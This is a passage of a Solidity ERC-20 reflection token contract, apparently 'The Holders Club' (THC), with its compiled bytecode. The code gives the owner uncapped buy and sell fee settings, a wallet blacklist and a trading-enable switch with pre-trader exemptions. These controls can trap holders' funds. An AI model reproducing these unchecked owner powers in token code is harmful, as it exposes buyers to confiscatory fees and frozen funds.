_getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610626578063c3c8cd8014610663578063dd62ed3e1461067a578063ea1644d5146106b7576101cc565b806398a5c3151461055a578063a2a957bb14610583578063a9059cbb146105ac578063bdd795ef146105e9576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b80632fd689e3116101645780636b9990531161013e5780636b9990531461039f5780636d8aa8f8146103c85780636fc3eaec146103f157806370a0823114610408576101cc565b80632fd689e31461031e578063313ce5671461034957806349bd5a5e14610374576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632f9c4569146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612bbb565b6106e0565b005b34801561020657600080fd5b5061020f61080a565b60405161021c9190612c8c565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612ce4565b610847565b6040516102599190612d3f565b60405180910390f35b34801561026e57600080fd5b50610277610865565b6040516102849190612db9565b60405180910390f35b34801561029957600080fd5b506102a261088b565b6040516102af9190612de3565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612dfe565b61089d565b6040516102ec9190612d3f565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612e7d565b610976565b005b34801561032a57600080fd5b50610333610af9565b6040516103409190612de3565b60405180910390f35b34801561035557600080fd5b5061035e610aff565b60405161036b9190612ed9565b60405180910390f35b34801561038057600080fd5b50610389610b08565b6040516103969190612f03565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612f1e565b610b2e565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612f4b565b610c1e565b005b3480156103fd57600080fd5b50610406610ccf565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612f1e565b610da0565b60405161043c9190612de3565b60405180910390f35b34801561045157600080fd5b5061045a610df1565b005b34801561046857600080fd5b50610483600480360381019061047e9190612f78565b610f44565b005b34801561049157600080fd5b5061049a610fe3565b6040516104a79190612de3565b60405180910390f35b3480156104bc57600080fd5b506104c5610fe9565b6040516104d29190612f03565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612f4b565b611012565b005b34801561051057600080fd5b506105196110c4565b6040516105269190612de3565b60405180910390f35b34801561053b57600080fd5b506105446110ca565b6040516105519190612c8c565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612f78565b611107565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612fa5565b6111a6565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190612ce4565b61125d565b6040516105e09190612d3f565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190612f1e565b61127b565b60405161061d9190612d3f565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612f1e565b61129b565b60405161065a9190612d3f565b60405180910390f35b34801561066f57600080fd5b506106786112bb565b005b34801561068657600080fd5b506106a1600480360381019061069c919061300c565b611394565b6040516106ae9190612de3565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190612f78565b61141b565b005b6106e86114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90613098565b60405180910390fd5b60005b81518110156108065760016010600084848151811061079a576107996130b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107fe90613116565b915050610778565b5050565b60606040518060400160405280601081526020017f54686520486f6c6465727320436c756200000000000000000000000000000000815250905090565b600061085b6108546114ba565b84846114c2565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b60006108aa84848461168d565b61096b846108b66114ba565b61096685604051806060016040528060288152602001613b3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061091c6114ba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e7d9092919063ffffffff16565b6114c2565b600190509392505050565b61097e6114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290613098565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a95906131ab565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b366114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bba90613098565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c266114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caa90613098565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d106114ba565b73ffffffffffffffffffffffffffffffffffffffff161480610d865750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d6e6114ba565b73ffffffffffffffffffffffffffffffffffffffff16145b610d8f57600080fd5b6000479050610d9d81611ee1565b50565b6000610dea600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdc565b9050919050565b610df96114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90613098565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f4c6114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd090613098565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61101a6114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e90613098565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600381526020017f5448430000000000000000000000000000000000000000000000000000000000815250905090565b61110f6114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461119c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119390613098565b60405180910390fd5b8060198190555050565b6111ae6114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461123b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123290613098565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061127161126a6114ba565b848461168d565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112fc6114ba565b73ffffffffffffffffffffffffffffffffffffffff1614806113725750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661135a6114ba565b73ffffffffffffffffffffffffffffffffffffffff16145b61137b57600080fd5b600061138630610da0565b90506113918161204a565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114236114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a790613098565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611532576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115299061323d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611599906132cf565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116809190612de3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f490613361565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561176d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611764906133f3565b60405180910390fd5b600081116117b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a790613485565b60405180910390fd5b6117b8610fe9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561182657506117f6610fe9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7c57601660149054906101000a900460ff166118cc57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c290613517565b60405180910390fd5b5b601754811115611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613583565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119b55750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119eb90613615565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611aa15760185481611a5684610da0565b611a609190613635565b10611aa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a97906136fd565b60405180910390fd5b5b6000611aac30610da0565b9050600060195482101590506017548210611ac75760175491505b808015611ae15750601660159054906101000a900460ff16155b8015611b3b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611b51575060168054906101000a900460ff165b15611b7957611b5f8261204a565b60004790506000811115611b7757611b7647611ee1565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c235750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611cd65750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611cd55750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611ce45760009050611e6b565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d8f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611da757600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e525750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611e6a57600a54600c81905550600b54600d819055505b5b611e77848484846122c3565b50505050565b6000838311158290611ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebc9190612c8c565b60405180910390fd5b5060008385611ed4919061371d565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f316002846122f090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f5c573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611fad6002846122f090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611fd8573d6000803e3d6000fd5b5050565b6000600654821115612023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201a906137c3565b60405180910390fd5b600061202d61233a565b905061204281846122f090919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561208257612081612a1a565b5b6040519080825280602002602001820160405280156120b05781602001602082028036833780820191505090505b50905030816000815181106120c8576120c76130b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561216f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061219391906137f8565b816001815181106121a7576121a66130b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061220e30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114c2565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161227295949392919061391e565b600060405180830381600087803b15801561228c57600080fd5b505af11580156122a0573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806122d1576122d0612365565b5b6122dc8484846123a8565b806122ea576122e9612573565b5b50505050565b600061233283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612587565b905092915050565b60008060006123476125ea565b9150915061235e81836122f090919063ffffffff16565b9250505090565b6000600c5414801561237957506000600d54145b15612383576123a6565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806123ba8761264f565b95509550955095509550955061241886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124ad85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f98161275f565b612503848361281c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125609190612de3565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080831182906125ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c59190612c8c565b60405180910390fd5b50600083856125dd91906139a7565b9050809150509392505050565b60008060006006549050600069152d02c7e14af6800000905061262269152d02c7e14af68000006006546122f090919063ffffffff16565b8210156126425760065469152d02c7e14af680000093509350505061264b565b81819350935050505b9091565b600080600080600080600080600061266c8a600c54600d54612856565b925092509250600061267c61233a565b9050600080600061268f8e8787876128ec565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e7d565b905092915050565b60008082846127109190613635565b905083811015612755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274c90613a24565b60405180910390fd5b8091505092915050565b600061276961233a565b90506000612780828461297590919063ffffffff16565b90506127d481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612831826006546126b790919063ffffffff16565b60068190555061284c8160075461270190919063ffffffff16565b6007819055505050565b6000806000806128826064612874888a61297590919063ffffffff16565b6122f090919063ffffffff16565b905060006128ac606461289e888b61297590919063ffffffff16565b6122f090919063ffffffff16565b905060006128d5826128c7858c6126b790919063ffffffff16565b6126b790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612905858961297590919063ffffffff16565b9050600061291c868961297590919063ffffffff16565b90506000612933878961297590919063ffffffff16565b9050600061295c8261294e85876126b790919063ffffffff16565b6126b790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561298857600090506129ea565b600082846129969190613a44565b90508284826129a591906139a7565b146129e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129dc90613b10565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a5282612a09565b810181811067ffffffffffffffff82111715612a7157612a70612a1a565b5b80604052505050565b6000612a846129f0565b9050612a908282612a49565b919050565b600067ffffffffffffffff821115612ab057612aaf612a1a565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612af182612ac6565b9050919050565b612b0181612ae6565b8114612b0c57600080fd5b50565b600081359050612b1e81612af8565b92915050565b6000612b37612b3284612a95565b612a7a565b90508083825260208201905060208402830185811115612b5a57612b59612ac1565b5b835b81811015612b835780612b6f8882612b0f565b845260208401935050602081019050612b5c565b5050509392505050565b600082601f830112612ba257612ba1612a04565b5b8135612bb2848260208601612b24565b91505092915050565b600060208284031215612bd157612bd06129fa565b5b600082013567ffffffffffffffff811115612bef57612bee6129ff565b5b612bfb84828501612b8d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c3e578082015181840152602081019050612c23565b83811115612c4d576000848401525b50505050565b6000612c5e82612c04565b612c688185612c0f565b9350612c78818560208601612c20565b612c8181612a09565b840191505092915050565b60006020820190508181036000830152612ca68184612c53565b905092915050565b6000819050919050565b612cc181612cae565b8114612ccc57600080fd5b50565b600081359050612cde81612cb8565b92915050565b60008060408385031215612cfb57612cfa6129fa565b5b6000612d0985828601612b0f565b9250506020612d1a85828601612ccf565b9150509250929050565b60008115159050919050565b612d3981612d24565b82525050565b6000602082019050612d546000830184612d30565b92915050565b6000819050919050565b6000612d7f612d7a612d7584612ac6565b612d5a565b612ac6565b9050919050565b6000612d9182612d64565b9050919050565b6000612da382612d86565b9050919050565b612db381612d98565b82525050565b6000602082019050612dce6000830184612daa565b92915050565b612ddd81612cae565b82525050565b6000602082019050612df86000830184612dd4565b92915050565b600080600060608486031215612e1757612e166129fa565b5b6000612e2586828701612b0f565b9350506020612e3686828701612b0f565b9250506040612e4786828701612ccf565b9150509250925092565b612e5a81612d24565b8114612e6557600080fd5b50565b600081359050612e7781612e51565b92915050565b60008060408385031215612e9457612e936129fa565b5b6000612ea285828601612b0f565b9250506020612eb385828601612e68565b9150509250929050565b600060ff82169050919050565b612ed381612ebd565b82525050565b6000602082019050612eee6000830184612eca565b92915050565b612efd81612ae6565b82525050565b6000602082019050612f186000830184612ef4565b92915050565b600060208284031215612f3457612f336129fa565b5b6000612f4284828501612b0f565b91505092915050565b600060208284031215612f6157612f606129fa565b5b6000612f6f84828501612e68565b91505092915050565b600060208284031215612f8e57612f8d6129fa565b5b6000612f9c84828501612ccf565b91505092915050565b60008060008060808587031215612fbf57612fbe6129fa565b5b6000612fcd87828801612ccf565b9450506020612fde87828801612ccf565b9350506040612fef87828801612ccf565b925050606061300087828801612ccf565b91505092959194509250565b60008060408385031215613023576130226129fa565b5b600061303185828601612b0f565b925050602061304285828601612b0f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613082602083612c0f565b915061308d8261304c565b602082019050919050565b600060208201905081810360008301526130b181613075565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061312182612cae565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613154576131536130e7565b5b600182019050919050565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b6000613195601783612c0f565b91506131a08261315f565b602082019050919050565b600060208201905081810360008301526131c481613188565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613227602483612c0f565b9150613232826131cb565b604082019050919050565b600060208201905081810360008301526132568161321a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006132b9602283612c0f565b91506132c48261325d565b604082019050919050565b600060208201905081810360008301526132e8816132ac565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061334b602583612c0f565b9150613356826132ef565b604082019050919050565b6000602082019050818103600083015261337a8161333e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006133dd602383612c0f565b91506133e882613381565b604082019050919050565b6000602082019050818103600083015261340c816133d0565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061346f602983612c0f565b915061347a82613413565b604082019050919050565b6000602082019050818103600083015261349e81613462565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613501603f83612c0f565b915061350c826134a5565b604082019050919050565b60006020820190508181036000830152613530816134f4565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b600061356d601c83612c0f565b915061357882613537565b602082019050919050565b6000602082019050818103600083015261359c81613560565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006135ff602383612c0f565b915061360a826135a3565b604082019050919050565b6000602082019050818103600083015261362e816135f2565b9050919050565b600061364082612cae565b915061364b83612cae565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136805761367f6130e7565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006136e7602383612c0f565b91506136f28261368b565b604082019050919050565b60006020820190508181036000830152613716816136da565b9050919050565b600061372882612cae565b915061373383612cae565b925082821015613746576137456130e7565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006137ad602a83612c0f565b91506137b882613751565b604082019050919050565b600060208201905081810360008301526137dc816137a0565b9050919050565b6000815190506137f281612af8565b92915050565b60006020828403121561380e5761380d6129fa565b5b600061381c848285016137e3565b91505092915050565b6000819050919050565b600061384a61384561384084613825565b612d5a565b612cae565b9050919050565b61385a8161382f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61389581612ae6565b82525050565b60006138a7838361388c565b60208301905092915050565b6000602082019050919050565b60006138cb82613860565b6138d5818561386b565b93506138e08361387c565b8060005b838110156139115781516138f8888261389b565b9750613903836138b3565b9250506001810190506138e4565b5085935050505092915050565b600060a0820190506139336000830188612dd4565b6139406020830187613851565b818103604083015261395281866138c0565b90506139616060830185612ef4565b61396e6080830184612dd4565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006139b282612cae565b91506139bd83612cae565b9250826139cd576139cc613978565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613a0e601b83612c0f565b9150613a19826139d8565b602082019050919050565b60006020820190508181036000830152613a3d81613a01565b9050919050565b6000613a4f82612cae565b9150613a5a83612cae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a9357613a926130e7565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613afa602183612c0f565b9150613b0582613a9e565b604082019050919050565b60006020820190508181036000830152613b2981613aed565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220de0496f0966f656578f0bacf97c62bba145a9f7f62a81e4f2a29f490aa85dc1564736f6c634300080a0033
[ 13 ]
0xf272a05ff70db420a3bb9f26cc5572ea83a4e6d1
